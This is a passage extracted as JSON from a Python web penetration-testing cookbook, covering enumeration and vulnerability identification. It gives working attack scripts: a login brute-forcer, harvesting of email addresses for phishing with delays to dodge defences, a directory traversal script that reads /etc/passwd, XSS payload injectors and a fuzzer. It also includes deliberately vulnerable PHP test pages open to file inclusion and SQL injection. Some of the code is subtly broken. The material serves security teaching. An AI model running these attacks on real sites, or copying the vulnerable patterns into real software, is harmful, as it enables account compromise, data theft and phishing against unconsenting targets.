recipe, you will need a list of usernames that you wish to test and also a \nlist of passwords. While this is not the true definition of brute forcing, it will lower the number \nof combinations that you will be testing.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 60,
            "text": "Chapter 2\n37\nIf you do not have a password list available, there are many available \nonline, such as the top 10,000 most common passwords on GitHub \nhere at https://github.com/neo/discourse_heroku/blob/\nmaster/lib/common_passwords/10k-common-passwords.txt.\nHow to do it…\nThe following code shows an example of how to implement this recipe:\n#brute force passwords\nimport sys\nimport urllib\nimport urllib2\nif len(sys.argv) !=3:\n    print \"usage: %s userlist passwordlist\" % (sys.argv[0])\n    sys.exit(0)\nfilename1=str(sys.argv[1])\nfilename2=str(sys.argv[2])\nuserlist = open(filename1,'r')\npasswordlist = open(filename2,'r')\nurl = \"http://www.vulnerablesite.com/login.html\"\nfoundusers = []\nFailStr=\"Incorrect User or Password\"\nfor user in userlist:\n  for password in passwordlist:\n    data = urllib.urlencode({\"username=\"user&\"password=\"password})\n    request = urllib2.urlopen(url,data)\n    response = request.read()\n    if(response.find(FailStr)<0)\n      foundcreds.append(user+\":\"+password)\n    request.close()\nif len(foundcreds)>0:\n  print \"Found User and Password combinations:\\n\"\n  for name in foundcreds:\n    print name+\"\\n\"\nelse:\n  print \"No users found\\n\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 61,
            "text": "Enumeration\n38\nThe following shows an example of the output produced when the script is run:\npython bruteforcepasswords.py userlists.txt passwordlist.txt\nFound User and Password combinations:\nroot:toor\nangela:trustno1\nbob:password123\njohn:qwerty\n How it works…\nAfter the initial importing of the necessary modules and checking the system arguments,  \nwe set up password checking:\nfilename1=str(sys.argv[1])\nfilename2=str(sys.argv[2])\nuserlist = open(filename1,'r')\npasswordlist = open(filename2,'r')\nThe filename arguments are stored in variables, which are then opened. The r variable  \nmeans that we are opening these files as read-only.\nWe also specify our target and initialize an array to store any valid credentials that we find:\nurl = \"http://www.vulnerablesite.com/login.html\"\nfoundusers = []\nFailStr=\"Incorrect User or Password\"\nThe FailStr variable in the preceding code is just to make our lives easier by having a short \nvariable name to type instead of typing out the entire string.\nThe main course of this recipe lies within a nested loop in which our automated password \nchecking is carried out:\nfor user in userlist:\n  for password in passwordlist:\n    data = urllib.urlencode({\"username=\"user&\"password=\"password  \n    })\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 62,
            "text": "Chapter 2\n39\n    request = urllib2.urlopen(url,data)\n    response = request.read()\n    if(response.find(FailStr)<0)\n      foundcreds.append(user+\":\"+password)\n    request.close()\nWithin this loop, a request is sent including the username and password as parameters. If the \nresponse doesn't contain the string indicating that the username and password combination \nis invalid, then we know that we have a valid set of credentials. We then add these credentials \nto the array that we created earlier.\nOnce all the username and password combinations have been tried, we then check the array \nto see whether there are any credentials. If so, we print out the credentials. If not, we print out \na sad message informing us that we have not found anything:\nif len(foundcreds)>0:\n  print \"Found User and Password combinations:\\n\"\n  for name in foundcreds:\n    print name+\"\\n\"\nelse:\n  print \"No users found\\n\"\nSee also\nIf you're looking to find usernames, you may also want to make use of the Checking username \nvalidity and the Brute forcing usernames recipes.\nGenerating e-mail addresses from names\nIn some scenarios, you may have a list of employees for a target company and you want to \ngenerate a list of e-mail addresses. E-mail addresses can be potentially useful. You might \nwant to use them to perform a phishing attack, or you might want to use them to try and log \non to a company's application, such as an e-mail or a corporate portal containing sensitive \ninternal documentation.\nGetting ready\nBefore you can use this recipe, you will want to have a list of names to work with. If you don't \nhave a list of names, you might want to consider first performing an open source intelligence \nexercise on your target.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 63,
            "text": "Enumeration\n40\nHow to do it…\nThe following code will take a file containing a list of names and generate a list of e-mail \naddresses in varying formats:\nimport sys\nif len(sys.argv) !=3:\n  print \"usage: %s name.txt email suffix\" % (sys.argv[0])\n  sys.exit(0)\nfor line in open(sys.argv[1]):\n  name = ''.join([c for c in line if c == \" \" or c.isalpha()])\n  tokens = name.lower().split()\n  fname = tokens[0]\n  lname = tokens[-1]\n  print fname+lname+sys.argv[2]\n  print lname+fname+sys.argv[2]\n  print fname+\".\"+lname+sys.argv[2]\n  print lname+\".\"+fname+sys.argv[2]\n  print lname+fname[0]+sys.argv[2]\n  print fname+lname+fname+sys.argv[2]\n  print fname[0]+lname+sys.argv[2]\n  print fname[0]+\".\"+lname+sys.argv[2]\n  print lname[0]+\".\"+fname+sys.argv[2]\n  print fname+sys.argv[2]\n  print lname+sys.argv[2]\n How it works…\nThe main mechanism in this recipe is the use of string concatenation. By joining up the first \nname or first initial with the last name in different combinations with an e-mail suffix, you have \na list of potential e-mail addresses that you can then use in a later test.\nThere's more…\nThe recipe featured shows how a list of names can be used to generate a list of e-mail \naddresses. However, not all the e-mail addresses will be valid. You could further narrow this \nlist by using enumeration techniques in a company's application that may reveal whether an \ne-mail address exists. You could also perform further open source intelligence investigations, \nwhich may allow you to determine the correct format for the target organization's e-mail \naddresses. If you manage to achieve this, you can then remove any unnecessary formats from \nthe recipe to generate a more concise list of e-mail addresses that will provide greater value \nto you later on.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 64,
            "text": "Chapter 2\n41\nSee also\nOnce you've got your e-mail addresses, you may want to use them as part of the  \nChecking username validity recipe.\nFinding e-mail addresses from web pages\nInstead of generating your own e-mail list, you may find that a target organisation will \nhave some that exist on their web pages. This may prove to be of higher value than e-mail \naddresses you have generated yourself as the likelihood of e-mail addresses on a target \norganisation's website being valid will be much higher than ones you have tried to guess.\nGetting ready\nFor this recipe, you will need a list of pages you want to parse for e-mail addresses. You may \nwant to visit the target organization's website and search for a sitemap. A sitemap can then be \nparsed for links to pages that exist within the website.\nHow to do it…\nThe following code will parse through responses from a list of URLs for instances of text that \nmatch an e-mail address format and save them to a file:\nimport urllib2\nimport re\nimport time\nfrom random import randint\nregex = re.compile((\"([a-z0-9!#$%&'*+\\/=?^_'{|}~-]+(?:\\.[a-z0-  \n                    9!#$%&'*+\\/=?^_'\"\n                    \"{|}~-]+)*(@|\\sat\\s)(?:[a-z0-9](?:[a-z0-9-  \n                    ]*[a-z0-9])?(\\.|\"\n                    \"\\sdot\\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\"))\ntarurl = open(\"urls.txt\", \"r\")\nfor line in tarurl:\n  output = open(\"emails.txt\", \"a\")\n  time.sleep(randint(10, 100))\n  try: \n    url = urllib2.urlopen(line).read()\n    output.write(line)\n    emails = re.findall(regex, url)\n    for email in emails:\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 65,
            "text": "Enumeration\n42\n      output.write(email[0]+\"\\r\\n\")\n      print email[0]\n  except:\n    pass\n    print \"error\"\n  output.close()\n How it works…\nAfter importing the necessary modules, you will see the assignment of the regex variable:\nregex = re.compile((\"([a-z0-9!#$%&'*+\\/=?^_'{|}~-]+(?:\\.[a-z0-  \n                    9!#$%&'*+\\/=?^_'\"\n                    \"{|}~-]+)*(@|\\sat\\s)(?:[a-z0-9](?:[a-z0-9-  \n                    ]*[a-z0-9])?(\\.|\"\n                    \"\\sdot\\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\"))\nThis attempts to match an e-mail address format, for example victim@target.com,  \nor victim at target dot com. The code then opens up a file containing the URLs:\ntarurl = open(\"urls.txt\", \"r\")\nYou might notice the use of the parameter r . This opens the file in read-only mode.  \nThe code then loops through the list of URLs. Within the loop, a file is opened to save  \ne-mail addresses to:\noutput = open(\"emails.txt\", \"a\")\nThis time, the a parameter is used. This indicates that any input to this file will be appended \ninstead of overwriting the entire file. The script utilizes a sleep timer in order to avoid \ntriggering any protective measures the target may have in place to prevent attacks:\ntime.sleep(randint(10, 100))\nThis timer will pause the script for a random amount of time between 10 and 100 seconds.\nThe use of exception handling when using the urlopen() method is essential. If the \nresponse from urlopen() is 404 (HTTP not found error), then the script will  \nerror and exit.\nIf there is a valid response, the script will then store all instances of e-mail addresses in the \nemails variable:\nemails = re.findall(regex, url)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 66,
            "text": "Chapter 2\n43\nIt will then loop through the emails variable and write each item in the list to the  \nemails.txt file and also output it to the console for confirmation:\n    for email in emails:\n      output.write(email[0]+\"\\r\\n\")\n      print email[0]\nThere's more…\nThe regular expression matching used in this recipe matches two common types of format \nused to represent e-mail addresses on the Internet. During the course of your learning and \ninvestigations, you may come across other formats that you might like to include in your \nmatching. For more information on regular expressions in Python, you may want read the \ndocumentation on the Python website for regular expressions at https://docs.python.\norg/2/library/re.html.\nSee also\nRefer to the recipe Generating e-mail addresses from names for more information.\nFinding comments in source code\nA common security issue is caused by good programming practices. During the development \nphase of web applications, developers will comment their code. This is very useful during \nthis phase, as it helps with understanding the code and will serve as useful reminders for \nvarious reasons. However, when the web application is ready to be deployed in a production \nenvironment, it is best practice to remove all these comments as they may prove useful to  \nan attacker.\nThis recipe will use a combination of Requests and BeautifulSoup in order to search  \na URL for comments, as well as searching for links on the page and searching those \nsubsequent URLs for comments as well. The technique of following links from a page and \nanalysing those URLs is known as spidering.\nHow to do it…\nThe following script will scrape a URL for comments and links in the source code. It will then \nalso perform limited spidering and search linked URLs for comments:\nimport requests\nimport re\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 67,
            "text": "Enumeration\n44\nfrom bs4 import BeautifulSoup\nimport sys\nif len(sys.argv) !=2:\n    print \"usage: %s targeturl\" % (sys.argv[0])\n    sys.exit(0)\nurls = []\ntarurl = sys.argv[1]\nurl = requests.get(tarurl)\ncomments = re.findall('<!--(.*)-->',url.text)\nprint \"Comments on page: \"+tarurl\nfor comment in comments:\n    print comment\nsoup = BeautifulSoup(url.text)\nfor line in soup.find_all('a'):\n    newline = line.get('href')\n    try:\n        if newline[:4] == \"http\":\n            if tarurl in newline:\n                urls.append(str(newline))\n        elif newline[:1] == \"/\":\n            combline = tarurl+newline\n            urls.append(str(combline))\n    except:\n        pass\n        print \"failed\"\nfor uurl in urls:\n    print \"Comments on page: \"+uurl\n    url = requests.get(uurl)\n    comments = re.findall('<!--(.*)-->',url.text)\n    for comment in comments:\n        print comment\nHow it works…\nAfter the initial import of the necessary modules and setting up of variables, the script first \ngets the source code of the target URL.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 68,
            "text": "Chapter 2\n45\nYou may have noticed that for Beautifulsoup, we have the following line:\nfrom bs4 import BeautifulSoup\nThis is so that when we use BeautifulSoup, we just have to type BeautifulSoup instead \nof bs4.BeautifulSoup.\nIt then searches for all instances of HTML comments and prints them out:\nurl = requests.get(tarurl)\ncomments = re.findall('<!--(.*)-->',url.text)\nprint \"Comments on page: \"+tarurl\nfor comment in comments:\n    print comment\nThe script will then use Beautifulsoup in order to scrape the source code for any instances \nof absolute (starting with http) and relative (starting with /) links:\nif newline[:4] == \"http\":\n            if tarurl in newline:\n                urls.append(str(newline))\n        elif newline[:1] == \"/\":\n            combline = tarurl+newline\n            urls.append(str(combline))\nOnce the script has collated a list of URLs linked to from the page, it will then search each \npage for HTML comments.\nThere's more…\nThis recipe shows a basic example of comment scraping and spidering. It is possible to add \nmore intelligence to this recipe to suit your needs. For instance, you may want to account for \nrelative links that use start with . or .. to denote the current and parent directories.\nYou can also add more control to the spidering part. You could extract the domain from the \nsupplied target URL and create a filter that does not scrape links for domains external to the \ntarget. This is especially useful for professional engagements where you need to adhere to a \nscope of targets.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 69,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 70,
            "text": "47\n3\nVulnerability \nIdentification\nIn this chapter, we will cover the following topics:\nf\nf\nAutomated URL-based Directory Traversal\nf\nf\nAutomated Cross-site scripting (parameter and URL)\nf\nf\nAutomated parameter-based Cross-site scripting\nf\nf\nAutomated fuzzing\nf\nf\njQuery checking\nf\nf\nHeader-based Cross-site scripting\nf\nf\nShellshock checking\nIntroduction\nThis chapter focuses on identifying traditional web app vulnerabilities from the Top 10 Open \nWeb Application Security Project (OWASP). This would include Cross-site scripting (XSS), \nDirectory Traversal, and those other vulnerabilities that are simple enough to check for not to \nwarrant their own chapter. This chapter provides a parameter-based and URL-based version  \nof each script to allow for either eventuality and cut down on individual script complexity.  \nMost of these tools have fully crafted alternatives, such as Burp Intruder. The benefit of seeing \neach tool in its simplistic Python is that it allows you to understand how to build and craft your \nown versions.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 71,
            "text": "Vulnerability Identification\n48\nAutomated URL-based Directory Traversal\nOccasionally, websites call files using unrestricted functions; this can allow the fabled \nDirectory Traversal or Direct Object Reference (DOR). In this attack, a user can call arbitrary \nfiles within the context of the website by using a vulnerable parameter. There are two ways this \ncan be manipulated: firstly, by providing an absolute link such as /etc/passwd, which states \nfrom the root directory browse to the etc directory and open the passwd file, and secondly, \nrelative links that travel up directories in order to reach the root directory and travel to the \nintended file.\nWe will be creating a script that attempts to open a file that is always present on a Linux \nmachine, the aforementioned /etc/passwd file by gradually increasing the number of up \ndirectories to a parameter in a URL. It will identify when it has succeeded by the detection of \nthe phrase root that indicates that file has been opened.\nGetting ready\nIdentify the URL parameter that you wish to test. This script has been configured to work with \nmost devices: etc/passwd should work with OSX and Linux installations and boot.ini \nshould work with Windows installations. See the end of this example for a PHP web page that \ncan be used against to test the validity of the scripts.\nWe will be using the requests library that can be installed through pip. In the author's \nopinion, it's better than urllib in terms of functionality and usability.\nHow to do it…\nOnce you've identified your parameter to attack, pass it to the script as a command line \nargument. Your script should be the same as the following script:\nimport requests\nimport sys\nurl = sys.argv[1]\npayloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}\nup = \"../\"\ni = 0\nfor payload, string in payloads.iteritems():\n  for i in xrange(7):\n    req = requests.post(url+(i*up)+payload)\n    if string in req.text:\n      print \"Parameter vulnerable\\r\\n\"\n      print \"Attack string: \"+(i*up)+payload+\"\\r\\n\"\n      print req.text\n      break\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 72,
            "text": "Chapter 3\n49\nThe following is an example of the output produced when using this script:\nParameter vulnerable\nAttack string: ../../../../../etc/passwd\nGet me /etc/passwd! File Contents:root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nHow it works…\nWe import the libraries we require for this script, as with every other script we've done in the \nbook so far:\nurl = sys.argv[1]\nWe then take our input in the form of a URL. As we are using the requests library, we should \nensure that our URL matches the form requests is expecting, which is http(s)://url. \nRequests will remind you of this if you get it wrong:\npayloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}\nWe establish the payloads which we are going to send in each attack in a dictionary. The first \nvalue in each pair is the file that we wish to attempt to load and the second is a value that will \ndefinitely be within that file. The more specific that second value is, the fewer false positives \nthat will occur; however, this may increase the chances of false negatives. Feel free to include \nyour own files here:\nup = \"../\"\ni = 0\nWe provide the up directory shortcut ../ and assign it to the up variable and we set the \ncounter for our loop to 0:\nfor payload, string in payloads.iteritems():\n  while i < 7:\nThe Iteritems method allows us to go through the dictionary and take each key and value, \nand assign them to variables. We assign the first value as payload and the second value as \nstring. We then cap our loop to stop it repeating forever in the event of a failure. I have set \nthis to 7 though this can be set to any value that you please. Bear in mind the likelihood of a \ndirectory structure for a web app being any higher than 7:\nreq = requests.post(url+(i*up)+payload)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 73,
            "text": "Vulnerability Identification\n50\nWe craft our request by taking our root URL and appending the current number of up \ndirectories according to the loop and the payload. This is then sent in a post request:\nif string in req.text:\n      print \"Parameter vulnerable\\r\\n\"\n      print \"Attack string: \"+(i*up)+payload+\"\\r\\n\"\n      print req.text\n      break\nWe check to see whether we have achieved our goal by looking for our intended string in the \nresponse. If the string is present, we halt the loop and print out the attack string, along with \nthe response to the successful attack. This allows us to manually verify whether the attack \nwas successful or whether the code needs to be refactored, or the web app isn't vulnerable:\n    i = i+1\n  i = 0\nFinally, the counter is added to each loop until it reaches the preset max. Once the max is \nreached, it is set to zero for the next attack string.\nThere's more\nThis recipe can be adapted to work with parameters through the application of the principles \nshown elsewhere in the book. However, due to the rarity of pages being called through \nparameters and intentional brevity, this has not been provided.\nThis can be extended, as earlier mentioned, by adding additional files and their commonly \noccurring strings. It could also be extended to grabbing all interesting files once the ability to \ndirectory traverse and the depth required to reach root has been established.\nThe following is a PHP web page that will allow you to test this script on your own build. Just \nput it in your var/www directory or whichever solution you use. Do not leave this active on an \nunknown network:\n<?php\necho \"Get me /etc/passwd! File Contents\";\nif (!isset($_REQUEST['id'])){\nheader( 'Location: /traversal/first.php?id=1' ) ;\n}\nif (isset($_REQUEST['id'])){\n  if ($_REQUEST['id'] == \"1\"){\n    $file = file_get_contents(\"data.html\", true);\n    echo $file;}\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 74,
            "text": "Chapter 3\n51\nelse{\n  $file = file_get_contents($_REQUEST['id']);\n  echo $file;\n}\n}?>\nAutomated URL-based Cross-site scripting\nReflected Cross-site scripting commonly occurs through URL based parameters. You should \nknow what Cross-site scripting is, and if you don't, I'm embarrassed for you. For real? I have to \nexplain this? Okay. Cross-site scripting is injecting JavaScript into a page. It is hacking 101 and \nthe first attack most people encounter or hear about. Inefficient methods of blocking Cross-\nsite scripting focus around targeting script tags, and with script tags not being necessary to \nuse JavaScript in a page, there are numerous ways around this.\nWe will create a script that takes a variety of standard evasion techniques and applies them \nto an automated submittal by using the Requests library. We will know whether the script \nhas succeeded because either the script or an earlier version of it will be present on the page \nfollowing the submittal.\nHow to do it…\nThe script we will be using is as follows:\nimport requests\nimport sys\nurl = sys.argv[1]\npayloads = ['<script>alert(1);</script>', '<BODY  \n  ONLOAD=alert(1)>']\nfor payload in payloads:\n  req = requests.post(url+payload)\n  if payload in req.text:\n    print \"Parameter vulnerable\\r\\n\"\n    print \"Attack string: \"+payload\n    print req.text\n    break\nThe following is an example of the output produced when using this script:\nParameter vulnerable\nAttack string: <script>alert(1);</script>\nGive me XSS:\n<script>alert(1);</script>\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 75,
            "text": "Vulnerability Identification\n52\nHow it works…\nThis script is similar to the earlier Directory Traversal script. We create a list of payloads  \nrather than a dictionary this time as the check string and payload are the same:\npayloads = ['<script>alert(1);</script>', '<BODY  \n  ONLOAD=alert(1)>']\nWe then use a similar loop as before to go through those values and submit them one by one:\nfor payload in payloads:\n  req = requests.post(url+payload)\nEach payload is appended to the end of our URL to be sent in an unended parameter  \nsuch as 127.0.0.1/xss/xss.php?comment=. The payload will be added onto the end of \nthat string in order to make a valid statement. We then check to see if that string is present in \nthe following page:\nif payload in req.text:\n    print \"Parameter vulnerable\\r\\n\"\n    print \"Attack string: \"+payload\n    print req.text\n    break\nCross-site scripting is so simple and very easy to automate and detect as the attack string is \nusually the same as the outcome. The difficulties with Directory Traversal or SQLi, as we will \nencounter later, is that the outcome is not always predictable. In the event of a successful \nCross-site scripting attack, it is.\nThere's more…\nThis attack can be extended by providing more attack strings. Many examples can be found in \nthe Mozilla FuzzDB, which we will be using later in the Automated fuzzing section script. Also, \nvarious forms of encoding can be applied using the original urllib library, which is shown \nthroughout this book in various different examples.\nAutomated parameter-based Cross-site \nscripting\nI've already stated that Cross-site scripting is absurdly easy. Amusingly, it is slightly harder \nto perform stored Cross-site scripting in a scripted fashion. I should probably take back my \nearlier words at this point, but whatever. The difficulty here is that systems often take an input \nstructure from one page, submit to another page, and return a third page. The following script \nis designed to handle that most complex of structures.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 76,
            "text": "Chapter 3\n53\nWe will create a script that takes three input values, reads, and submits to all three correctly \nand checks for success. It shares code with the earlier URL-based Cross-site scripting but \ndiffers fundamentally in its execution.\nHow to do it…\nThe following script is the functioning test. It is a script that is designed to be manually edited \nin a framework similar to sublime text or an IDE, as stored XSS is likely to require fiddling:\nimport requests\nimport sys\nfrom bs4 import BeautifulSoup, SoupStrainer\nurl = \"http://127.0.0.1/xss/medium/guestbook2.php\"\nurl2 = \"http://127.0.0.1/xss/medium/addguestbook2.php\"\nurl3 = \"http://127.0.0.1/xss/medium/viewguestbook2.php\"\npayloads = ['<script>alert(1);</script>',  \n  '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY  \n  ONLOAD=alert(1)>']\ninitial = requests.get(url)\nfor payload in payloads:\n  d = {}\n  for field in BeautifulSoup(initial.text,  \n          parse_only=SoupStrainer('input')):\n          if field.has_attr('name'):\n            if field['name'].lower() == \"submit\":\n              d[field['name']] = \"submit\"\n            else:\n              d[field['name']] = payload\n  req = requests.post(url2, data=d)\n  checkresult = requests.get(url3)\n  if payload in checkresult.text:\n    print \"Full string returned\"\n    print \"Attack string: \"+ payload\nThe following is an example of the output produced when using this script with two  \nsuccessful strings:\nFull string returned\nAttack string: <script>alert(1);</script>\nFull string returned\nAttack string: <BODY ONLOAD=alert(1)>\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 77,
            "text": "Vulnerability Identification\n54\nHow it works…\nWe import our libraries as time and time before and establish the URLs we are going to \nattack. Here, url is the page with the parameters to attack, url2 is the page that the content \nis going to be submitted to, and url3 is the final page to be read in order to detect whether \nthe attack was successful. Some of these URLs may be shared. They are set in this form \nbecause it is very difficult to make a point and click script for stored Cross-site scripting:\nurl = \"http://127.0.0.1/xss/medium/guestbook2.php\"\nurl2 = \"http://127.0.0.1/xss/medium/addguestbook2.php\"\nurl3 = \"http://127.0.0.1/xss/medium/viewguestbook2.php\"\nWe then establish a list of payloads. As with the URL-based XSS script, the payload, and check \nvalue is the same:\npayloads = ['<script>alert(1);</script>',  \n  '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY  \n  ONLOAD=alert(1)>']\nWe then create an empty dictionary to pair the payload with each identified input box:\nd = {}\nWe are aiming to attack every input parameter in a page, so next, we read our target page:\ninitial = requests.get(url)\nWe then create a loop for each value that we put in our payloads list:\nfor payload in payloads:\nWe then process the page with BeautifulSoup, which is a library that allows us to carve \npages by their tags and defining characteristics. We use this to identify each input field of \nwhich we select the name so we can send it content:\nfor field in BeautifulSoup(initial.text,  \n  parse_only=SoupStrainer('input')):\n          if field.has_attr('name'):\nDue to the nature of input boxes in the majority of web pages, any fields named submit are \nnot to be targeted for Cross-site scripting and instead need to be given submit as a value in \norder for our attack to be successful. We create an if function to detect whether this is the \ncase, using the.lower() function to easily account for the potential upper case values that \nmay be used. If the field isn't used to verify submittal, we fill it with the current payload in use:\nif field['name'].lower() == \"submit\":\n              d[field['name']] = \"submit\"\n            else:\n              d[field['name']] = payload\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 78,
            "text": "Chapter 3\n55\nWe send our now assigned values to the targeted page in a post request by using the \nrequests library, as we have done earlier:\nreq = requests.post(url2, data=d)\nWe then load the page that would render our content and prepare it for being used in the \ncheck result function:\ncheckresult = requests.get(url3)\nSimilar to the scripts before, we check if our string was successful by searching for it on the \npage and print the result out if it. We then reset the dictionary for the next payload:\nif payload in checkresult.text:\n    print \"Full string returned\"\n    print \"Attack string: \"+ payload\n  d = {}\nThere's more…\nAs before, you can alter this script to include many results or read from a file that contains \nmultiple values. Mozilla's FuzzDB, as shown in the following recipe, contains a vast number  \nof these values.\nThe following is a setup than can be used to test the script provided in the preceding  \nsections. They need to be saved as the filenames provided to work and in conjunction  \nwith a MySQL database to store the comments.\nThe following is the first interface page named guestbook.php:\n<?php\n$my_rand = rand();\nif (!isset($_COOKIE['sessionid'])){\n  setcookie(\"sessionid\", $my_rand, \"10000000000\", \"/xss/easy/\");}\n?>\n<form id=\"contact_form\" action='addguestbook.php' method=\"post\">\n  <label>Name: <input class=\"textfield\" name=\"name\" type=\"text\"  \n  value=\"\" /></label>\n  <label>Comment: <input class=\"textfield\" name=\"comment\"  \n  type=\"text\" value=\"\" /></label>\n  <input type=\"submit\" name=\"Submit\" value=\"Submit\"/> \n</form>\n<strong><a href=\"viewguestbook.php\">View Guestbook</a></strong>\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 79,
            "text": "Vulnerability Identification\n56\nThe following script is addguestbook.php, which places your comment in the database:\n<?php\n$my_rand = rand();\nif (!isset($_COOKIE['sessionid'])){\n  setcookie(\"sessionid\", $my_rand, \"10000000000\", \"/xss/easy/\");}\n$host='localhost';\n$username='root';\n$password='password';\n$db_name=\"xss\";\n$tbl_name=\"guestbook\";\n$cookie = $_COOKIE['sessionid'];\n$name = $_REQUEST['name'];\n$comment = $_REQUEST['comment'];\nmysql_connect($host, $username, $password) or die(\"Cannot contact  \n  server\");\nmysql_select_db($db_name)or die(\"Cannot find DB\");\n$sql=\"INSERT INTO $tbl_name VALUES('0','$name', '$comment',  \n  '$cookie')\";\n$result=mysql_query($sql);\nif($result){\n  echo \"Successful\";\n  echo \"<BR>\";\n  echo \"<h1>Hi</h1>\";\necho \"<a href='viewguestbook.php'>View Guestbook</a>\";\n}\nelse{\n  echo \"ERROR\";\n}\nmysql_close();\n?>\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 80,
            "text": "Chapter 3\n57\nThe final script is viewguestbook.php, which draws the comments from the database:\n<html>\n<style>\n    body {\n        width: 35em;\n        margin: 0 auto;\n        font-family: Tahoma, Verdana, Arial, sans-serif;\n    }\n</style>\n<h1>Comments</h1>\n<?php\n$my_rand = rand();\nif (!isset($_COOKIE['sessionid'])){\n  setcookie(\"sessionid\", $my_rand, \"10000000000\", \"/xss/easy/\");}\n$host='localhost';\n$username='root';\n$password='password';\n$db_name=\"xss\";\n$tbl_name=\"guestbook\";\n$cookie = $_COOKIE['sessionid'];\n$name = $_REQUEST['name'];\n$comment = $_REQUEST['comment'];\nmysql_connect($host, $username, $password) or die(\"Cannot contact  \n  server\");\nmysql_select_db($db_name)or die(\"Cannot find DB\");\n$sql=\"SELECT * FROM guestbook WHERE session = '$cookie'\";\";\n$result=mysql_query($sql);\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 81,
            "text": "Vulnerability Identification\n58\nwhile($field = mysql_fetch_assoc($result)) {\n  print \"Name: \" . $field['name'] . \"\\t\";\n  print \"Comment: \" . $field['comment'] . \"<BR>\\r\\n\";\n}\nmysql_close();\n?>\nAutomated fuzzing\nFuzzing is the smash and grab of the hacking community. It focuses around sending a large \namount of invalid content to a page and recording the results. It is the reprobates version of \nSQL Injection and arguably the base form of penetration testing (though you LOIC users out \nthere are probably the base form of life form).\nWe will create a script that will take values from the FuzzDB meta-characters file and  \nsend them to every parameter available and record all the results. This is most definitely \na brute-force attempt to identify vulnerabilities and requires a sensible human being to go \nthrough the results.\nGetting ready\nFor this, you will require the FuzzDB from Mozilla. At the time of printing, this is available from \nhttps://code.google.com/p/fuzzdb/. The file you specifically want for this script is  \n/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.\ntxt within the fuzzdb TAR file. I'm reusing the test PHP scripts from the XSS script for proof \nof concept, but you can use this against whatever you like. The aim is to trigger an error.\nHow to do it…\nThe script is as follows:\nimport requests\nimport sys\nfrom bs4 import BeautifulSoup, SoupStrainer\nurl = \"http://127.0.0.1/xss/medium/guestbook2.php\"\nurl2 = \"http://127.0.0.1/xss/medium/addguestbook2.php\"\nurl3 = \"http://127.0.0.1/xss/medium/viewguestbook2.php\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 82,
            "text": "Chapter 3\n59\nf =  open(\"/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-  \n  attacks/interesting-metacharacters.txt\")\no = open(\"results.txt\", 'a')\nprint \"Fuzzing begins!\"\ninitial = requests.get(url)\nfor payload in f.readlines():\n  for field in BeautifulSoup(initial.text,   \n  parse_only=SoupStrainer('input')):\n  d = {}\n          if field.has_attr('name'):\n            if field['name'].lower() == \"submit\":\n             d[field['name']] = \"submit\"\n            else:\n             d[field['name']] = payload\n  req = requests.post(url2, data=d)\n  response = requests.get(url3)\n  o.write(\"Payload: \"+ payload +\"\\r\\n\")\n  o.write(response.text+\"\\r\\n\")\nprint \"Fuzzing has ended\"\nThe following is an example of the output produced when using this script:\nFuzzing has begun!\nFuzzing has ended\nHow it works…\nWe import our libraries. As this is a testing script again, we establish our URLs in the code:\nurl = \"http://127.0.0.1/xss/medium/guestbook2.php\"\nurl2 = \"http://127.0.0.1/xss/medium/addguestbook2.php\"\nurl3 = \"http://127.0.0.1/xss/medium/viewguestbook2.php\"\nWe then open two files. The first will be the FuzzDB meta-characters file. I've included my path, \nthough it is acceptable to make a copy of the file in your working directory. The second file will \nbe the file you write to:\nf =  open(\"/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-  \n  attacks/interesting-metacharacters.txt\")\no = open(\"results.txt\", 'a')\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 83,
            "text": "Vulnerability Identification\n60\nWe create an empty dictionary to be populated by our parameters and attack strings:\nd = {}\nAs the script writes its output to a file, we need to provide some text to show that the script is \nworking, so we write a nice and simple message:\nprint \"Fuzzing begins!\"\nWe read the original page that accepts input and assign to a variable:\ninitial = requests.get(url)\nWe split out the page with BeautifilSoup and identify the only fields we want, being the \ninput fields and the name fields from there:\nfor field in BeautifulSoup(initial.text,  \n          parse_only=SoupStrainer('input')):\n          if field.has_attr('name')@~:\nWe need to check again that any fields named submit are provided with submit as data, \notherwise we apply our attack string:\nif field['name'].lower() == \"submit\":\n              d[field['name']] = \"submit\"\n            else:\n              d[field['name']] = payload\nWe submit first a POST request sending out dictionary of attack strings mapped to input fields \nand then we request a GET request from the page that shows output (some errors may occur \nbefore the third page so you should consider restricting accordingly):\nreq = requests.post(url2, data=d)\n  response = requests.get(url3)\nBecause the output will be long and messy, we write the output to the file that we opened \ninitially, so that it 